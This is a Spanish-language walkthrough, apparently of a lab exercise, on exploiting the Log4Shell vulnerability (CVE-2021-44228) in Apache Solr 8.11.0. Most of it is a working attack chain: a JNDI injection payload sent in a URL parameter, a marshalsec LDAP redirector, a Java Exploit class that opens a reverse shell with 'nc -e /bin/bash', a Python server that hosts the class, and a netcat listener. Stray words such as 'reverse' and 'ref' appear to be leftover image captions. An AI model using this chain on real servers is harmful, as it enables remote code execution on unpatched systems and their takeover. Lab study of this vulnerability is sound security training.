Explotacion de log4jshell CVE-2021-44228

El pasado jueves salió a la luz una vulnerabilidad que afecta al Java logging package llamado Log4j. Etiquetada como CVE-2021-44228 conocida por apodos como Log4Shell o LogJam y descubierta por el equipo de seguridad de Alibaba, el problema se refiere a un caso de ejecución remota de código no autenticado (RCE) en cualquier aplicación que use esta utilidad de código abierto y afecte a las versiones no parcheadas, de Apache Log4j 2.0-beta9 hasta la 2.14. 1. El error fue calificado con la puntuación máxima de 10 sobre 10 en el sistema de clasificación CVSS, lo que indica la enorme gravedad del problema.

Para aprovecharnos de esta vulnerabilidad puede ser fácil o a la vez no. La idea es encontrar algún parámetro con lo que enviemos se guarde en los logs para que luego se ejecute, puede ser tanto en el user-agent o en algún parámetro get o post de la url , etc

POC

Apache Solr 8.11.0 es una aplicación vulnerable en la que enviándole data en /solr/admin/cores?foo= lo va a guardar en los logs. Podemos probar esto de la siguiente manera

enviando ${jndi:ldap://<IP><PUERTO>} si es vulnerable nos debería traer una conexión ldap que no entiende la terminal

  http://10.10.207.24:8983/solr/admin/cores?foo=${jndi:ldap://10.14.13.223:3000} 

reverse

Una vez hecho esto, para ganar ejecución de comandos remota tenemos que hacer redireccionar la petición ldap

Usamos este proyecto que tenemos que compilar con maven
sudo apt install maven
https://github.com/mbechler/marshalsec
mvn clean package -DskipTests

reverse

Ya con nuestro ldap redirector usamos este comando para decirle que abra ruta en nuestro host en el puerto 8080, que próximamente crearemos

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<IP>:8000/#Exploit" 

ref
Ahora que tenemos nuestro servidor ldap listo, creamos nuestro payload final
Creamos un script en java el cual tenemos que compilar para que log4j lo ejecute


public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash <IP> <PUERTO>");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

javac Exploit.java -source 8 -target 8

ref

Por último creamos nuestro servidor en python en el puerto 8000 python3 -m http.server 8000 y nuestro netcat en escucha nc -lvp <PUERTO>

ahora enviamos en la máquina atacante

${jndi:ldap://10.14.13.223:1389/Exploit}
http://10.10.207.24:8983/solr/admin/cores?foo=${jndi:ldap://10.14.13.223:1389/Exploit} 

get

Y en nuestro netcat que habíamos creado

get